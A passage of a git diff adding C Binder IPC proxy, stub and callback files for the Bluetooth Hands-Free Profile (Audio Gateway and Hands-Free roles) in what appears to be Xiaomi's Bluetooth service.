AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_AG_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpAg_connectAudio(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_AG_AUDIO_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpAg_disconnectAudio(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_AG_AUDIO_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpAg_startVoiceRecognition(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_AG_START_VOICE_RECOGNITION, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtHfpAg_stopVoiceRecognition(BpBtHfpAg* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IHFP_AG_STOP_VOICE_RECOGNITION, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/hfp_ag_stub.c b/service/ipc/binder/src/hfp_ag_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..887fe57b0afe6c4b8bca2fb349ee4fa90e04d474 --- /dev/null +++ b/service/ipc/binder/src/hfp_ag_stub.c @@ -0,0 +1,272 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "hfp_ag_service.h" +#include "service_manager.h" + +#include "hfp_ag_callbacks_proxy.h" +#include "hfp_ag_callbacks_stub.h" +#include "hfp_ag_proxy.h" +#include "hfp_ag_stub.h" +#include "parcel.h" +#include "utils/log.h" + +#define BT_HFP_AG_DESC "BluetoothHfpAg" + +static void* IBtHfpAg_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtHfpAg_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtHfpAg_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* reply) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + bt_address_t addr; + uint32_t status; + + hfp_ag_interface_t* profile = (hfp_ag_interface_t*)service_manager_get_profile(PROFILE_HFP_AG); + if (!profile) + return stat; + + switch (code) { + case IHFP_AG_REGISTER_CALLBACK: { + AIBinder* remote; + + stat = AParcel_readStrongBinder(in, &remote); + if (stat != STATUS_OK) + return stat; + + if (!BtHfpAgCallbacks_associateClass(remote)) { + AIBinder_decStrong(remote); + return STATUS_FAILED_TRANSACTION; + } + + void* cookie = profile->register_callbacks(remote, BpBtHfpAgCallbacks_getStatic()); + stat = AParcel_writeUint32(reply, (uint32_t)cookie); + break; + } + case IHFP_AG_UNREGISTER_CALLBACK: { + AIBinder* remote = NULL; + uint32_t cookie; + + stat = AParcel_readUint32(in, &cookie); + if (stat != STATUS_OK) + return stat; + + bool ret = profile->unregister_callbacks((void**)&remote, (void*)cookie); + if (ret && remote) + AIBinder_decStrong(remote); + + stat = AParcel_writeBool(reply, ret); + break; + } + case IHFP_AG_IS_CONNECTED: { + bool ret; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + ret = profile->is_connected(&addr); + stat = AParcel_writeBool(reply, ret); + break; + } + case IHFP_AG_IS_AUDIO_CONNECTED: { + bool ret; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + ret = profile->is_audio_connected(&addr); + stat = AParcel_writeBool(reply, ret); + break; + } + case IHFP_AG_GET_CONNECTION_STATE: { + profile_connection_state_t state; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + state = profile->get_connection_state(&addr); + stat = AParcel_writeUint32(reply, state); + break; + } + case IHFP_AG_CONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->connect(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_AG_DISCONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_AG_AUDIO_CONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->connect_audio(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_AG_AUDIO_DISCONNECT: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->disconnect_audio(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_AG_START_VOICE_RECOGNITION: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->start_voice_recognition(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + case IHFP_AG_STOP_VOICE_RECOGNITION: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + status = profile->stop_voice_recognition(&addr); + stat = AParcel_writeUint32(reply, status); + break; + } + default: + break; + } + + return stat; +} + +static const AIBinder_Class* BtHfpAg_getClass(void) +{ + + AIBinder_Class* clazz = AIBinder_Class_define(BT_HFP_AG_DESC, IBtHfpAg_Class_onCreate, + IBtHfpAg_Class_onDestroy, IBtHfpAg_Class_onTransact); + + return clazz; +} + +static AIBinder* BtHfpAg_getBinder(IBtHfpAg* hfpAg) +{ + AIBinder* binder = NULL; + + if (hfpAg->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(hfpAg->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(hfpAg->clazz, (void*)hfpAg); + if (hfpAg->WeakBinder != NULL) { + AIBinder_Weak_delete(hfpAg->WeakBinder); + } + + hfpAg->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtHfpAg_addService(IBtHfpAg* hfpAg, const char* instance) +{ + hfpAg->clazz = (AIBinder_Class*)BtHfpAg_getClass(); + AIBinder* binder = BtHfpAg_getBinder(hfpAg); + hfpAg->usr_data = NULL; + + binder_status_t status = AServiceManager_addService(binder, instance); + AIBinder_decStrong(binder); + + return status; +} + +BpBtHfpAg* BpBtHfpAg_new(const char* instance) +{ + AIBinder* binder = NULL; + AIBinder_Class* clazz; + BpBtHfpAg* bpBinder = NULL; + + clazz = (AIBinder_Class*)BtHfpAg_getClass(); + binder = AServiceManager_getService(instance); + if (!binder) + return NULL; + + if (!AIBinder_associateClass(binder, clazz)) + goto bail; + + if (!AIBinder_isRemote(binder)) + goto bail; + + /* linktoDeath ? */ + + bpBinder = malloc(sizeof(*bpBinder)); + if (!bpBinder) + goto bail; + + bpBinder->binder = binder; + bpBinder->clazz = clazz; + + return bpBinder; + +bail: + AIBinder_decStrong(binder); + return NULL; +} + +void BpBtHfpAg_delete(BpBtHfpAg* bpHfpAg) +{ + AIBinder_decStrong(bpHfpAg->binder); + free(bpHfpAg); +} + +AIBinder* BtHfpAg_getService(BpBtHfpAg** bpHfpAg, const char* instance) +{ + BpBtHfpAg* bpBinder = *bpHfpAg; + + if (bpBinder && bpBinder->binder) + return bpBinder->binder; + + bpBinder = BpBtHfpAg_new(instance); + if (!bpBinder) + return NULL; + + *bpHfpAg = bpBinder; + + return bpBinder->binder; +} diff --git a/service/ipc/binder/src/hfp_hf_callbacks_proxy.c b/service/ipc/binder/src/hfp_hf_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..18fed9e82706473e3ae352e864509a5ca07f3a14 --- /dev/null +++ b/service/ipc/binder/src/hfp_hf_callbacks_proxy.c @@ -0,0 +1,297 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "hfp_hf_callbacks_stub.h" +#include "hfp_hf_proxy.h" +#include "hfp_hf_stub.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtHfpHfCallbacks_connectionStateCallback(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_CONNECTION_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_audioStateCallback(void* cookie, bt_address_t* addr, hfp_audio_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_AUDIO_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_vrCmdCallback(void* cookie, bt_address_t* addr, bool started) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeBool(parcelIn, started); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_VR_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_callStateChangeCallback(void* cookie, bt_address_t* addr, hfp_current_call_t* call) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + /* write call */ + stat = AParcel_writeCall(parcelIn, call); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_CALL_STATE_CHANGE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_cmdCompleteCallback(void* cookie, bt_address_t* addr, const char* resp) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeString(parcelIn, resp, strlen(resp)); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_CMD_COMPLETE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_ringIndicationCallback(void* cookie, bt_address_t* addr, bool inband_ring_tone) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeBool(parcelIn, inband_ring_tone); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_RING_INDICATION, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +#if 0 /* not support */ +static void BpBtHfpHfCallbacks_roamingChangedCallback(void *cookie, bt_address_t *addr, int status) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder *binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeInt32(parcelIn, status); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_ROAMING_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_networkStateChangedCallback(void *cookie, bt_address_t *addr, int status) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder *binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeInt32(parcelIn, status); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_NETWOEK_STATE_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_signalStrengthChangedCallback(void *cookie, bt_address_t *addr, int signal) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder *binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeInt32(parcelIn, signal); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_SIGNAL_STRENGTH_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtHfpHfCallbacks_operatorChangedCallback(void *cookie, bt_address_t *addr, char *name) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder *binder = cookie; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeString(parcelIn, name, strlen(name)); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_HFP_HF_OPERATOR_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} +#endif + +static const hfp_hf_callbacks_t static_hfp_hf_cbks = { + sizeof(static_hfp_hf_cbks), + BpBtHfpHfCallbacks_connectionStateCallback, + BpBtHfpHfCallbacks_audioStateCallback, + BpBtHfpHfCallbacks_vrCmdCallback, + BpBtHfpHfCallbacks_callStateChangeCallback, + BpBtHfpHfCallbacks_cmdCompleteCallback, + BpBtHfpHfCallbacks_ringIndicationCallback, +}; + +const hfp_hf_callbacks_t* BpBtHfpHfCallbacks_getStatic(void) +{ + return &static_hfp_hf_cbks; +} diff --git a/service/ipc/binder/src/hfp_hf_callbacks_stub.c b/service/ipc/binder/src/hfp_hf_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..43f15f3b9c284758a76eeedd246bd7ab0ebf92d5 --- /dev/null +++ b/service/ipc/binder/src/hfp_hf_callbacks_stub.c @@ -0,0 +1,217 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "hfp_hf_callbacks_stub.h" +#include "hfp_hf_proxy.h" +#include "hfp_hf_stub.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_HFP_HF_CALLBACK_DESC "BluetoothHfpHfCallback" + +static const AIBinder_Class* kIBtHfpHfCallbacks_Class = NULL; + +static void* IBtHfpHfCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtHfpHfCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtHfpHfCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtHfpHfCallbacks* cbks = AIBinder_getUserData(binder); + bt_address_t addr; + + switch (code) { + case ICBKS_HFP_HF_CONNECTION_STATE: { + uint32_t state; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->connection_state_cb(cbks, &addr, state); + break; + } + case ICBKS_HFP_HF_AUDIO_STATE: { + uint32_t state; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->audio_state_cb(cbks, &addr, state); + break; + } + case ICBKS_HFP_HF_VR_STATE: { + bool start; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &start); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->vr_cmd_cb(cbks, &addr, start); + break; + } + case ICBKS_HFP_HF_CALL_STATE_CHANGE: { + hfp_current_call_t call; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readCall(in, &call); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->call_state_changed_cb(cbks, &addr, &call); + break; + } + case ICBKS_HFP_HF_CMD_COMPLETE: { + char* resp = NULL; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &resp, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + cbks->callbacks->cmd_complete_cb(cbks, &addr, resp); + free(resp); + break; + } + case ICBKS_HFP_HF_RING_INDICATION: { + bool inBandRing; + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readBool(in, &inBandRing); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->ring_indication_cb(cbks, &addr, inBandRing); + break; + } + /* not support */ + case ICBKS_HFP_HF_ROAMING_CHANGED: { + break; + } + case ICBKS_HFP_HF_NETWOEK_STATE_CHANGED: { + break; + } + case ICBKS_HFP_HF_SIGNAL_STRENGTH_CHANGED: { + break; + } + case ICBKS_HFP_HF_OPERATOR_CHANGED: { + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtHfpHfCallbacks_getBinder(IBtHfpHfCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtHfpHfCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtHfpHfCallbacks_Class) { + kIBtHfpHfCallbacks_Class = AIBinder_Class_define(BT_HFP_HF_CALLBACK_DESC, + IBtHfpHfCallbacks_Class_onCreate, + IBtHfpHfCallbacks_Class_onDestroy, + IBtHfpHfCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtHfpHfCallbacks_Class); +} + +IBtHfpHfCallbacks* BtHfpHfCallbacks_new(const hfp_hf_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtHfpHfCallbacks* cbks = malloc(sizeof(IBtHfpHfCallbacks)); + + clazz = AIBinder_Class_define(BT_HFP_HF_CALLBACK_DESC, + IBtHfpHfCallbacks_Class_onCreate, + IBtHfpHfCallbacks_Class_onDestroy, + IBtHfpHfCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtHfpHfCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtHfpHfCallbacks_delete(IBtHfpHfCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/hfp_hf_proxy.c b/service/ipc/binder/src/hfp_hf_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..187b1c03700aec3b2488a543cca5ab77ae57a167 --- /dev/null +++ b/service/ipc/binder/src/hfp_hf_proxy.c @@ -0,0 +1,687 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "hfp_hf_proxy.h" +#include "hfp_hf_stub.h" +#include "parcel.h" +#include "utils/log.h" + +void* BpBtHfpHf_registerCallback(BpBtHfpHf* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t cookie; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IHFP_HF_REGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &cookie); + if (stat != STATUS_OK) + return NULL; + + return (void*)cookie; +} + +bool BpBtHfpHf_unRegisterCallback(BpBtHfpHf* bpBinder, void* cookie) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)cookie); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IHFP_HF_UNREGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bool BpBtHfpHf_isConnected(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IHFP_HF_IS_CONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bool BpBtHfpHf_isAudioConnected(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IHFP_HF_IS_AUDIO_CONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +profile_connection_state_t BpBtHfpHf_getConnectionState(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t state; + + if (!bpBinder || !bpBinder->binder) + return PROFILE_STATE_DISCONNECTED; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + stat = AIBinder_transact(binder, IHFP_HF_GET_CONNECTION_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + stat = AParcel_readUint32(parcelOut, &state); + if (stat != STATUS_OK) + return PROFILE_STATE_DISCONNECTED; + + return state; +} + +bt_status_t BpBtHfpHf_connect(BpBtHfpHf* bpBinder, bt_address_t* addr) +{ + 